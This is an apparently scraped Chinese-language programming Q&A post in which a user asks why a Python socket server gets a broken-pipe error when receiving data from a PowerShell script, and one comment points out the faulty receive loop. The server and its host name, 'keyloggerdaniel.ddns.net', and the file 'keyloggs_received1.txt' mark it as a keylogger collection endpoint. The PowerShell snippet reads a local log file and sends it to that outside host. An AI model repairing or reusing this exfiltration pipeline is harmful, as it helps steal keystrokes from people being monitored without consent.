【发布时间】:2021-11-20 21:02:11
【问题描述】:
我正在尝试将字符串从 powershell 发送到在其他设备上运行的 python 服务器。但是我总是收到管道损坏错误,我不知道该怎么办。
这是我的服务器:它侦听连接、接收消息并将这些消息添加到 txt 文件中。
import socket
import threading
HEADER = 64
PORT = 1337
SERVER = 'keyloggerdaniel.ddns.net'
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen(5)
def handle_client(conn, addr):
print(f"[NEW CONNECTION] {addr} connected.")
filename = "keyloggs_received1.txt"
file = open(filename, 'wb')
connected = True
while connected:
msg_length = conn.recv(HEADER)
if msg_length:
msg_length = int(msg_length)
msg = conn.recv(msg_length)
#file_data = conn.recv(1024)
file.write(msg)
file.close()
conn.send("Msg received".encode(FORMAT))
print("File has been received successfully.")
conn.close()
def start():
server.listen()
print(f"[LISTENING] Server is listening on {SERVER}")
while True:
conn, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(conn, addr))
thread.start()
print(f"[ACTIVE CONNECTIONS] {threading.activeCount() - 1}")
print("[STARTING] server is starting...")
start()
这是我的 powershell 代码:我在这台电脑上有字符串,想将它发送到服务器:
$file = "C:\Users\Daniel Maderner\log.txt"
$file_Content =Get-Content $file
$socket = New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337);
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$writer.WriteLine($file_Content);
$socket.close()
【问题讨论】:
-
您的 python 服务器中的接收循环(在
handle_client)是错误的、有问题的、不正确的。要了解原因,请阅读this answer。
标签: python powershell sockets server tcp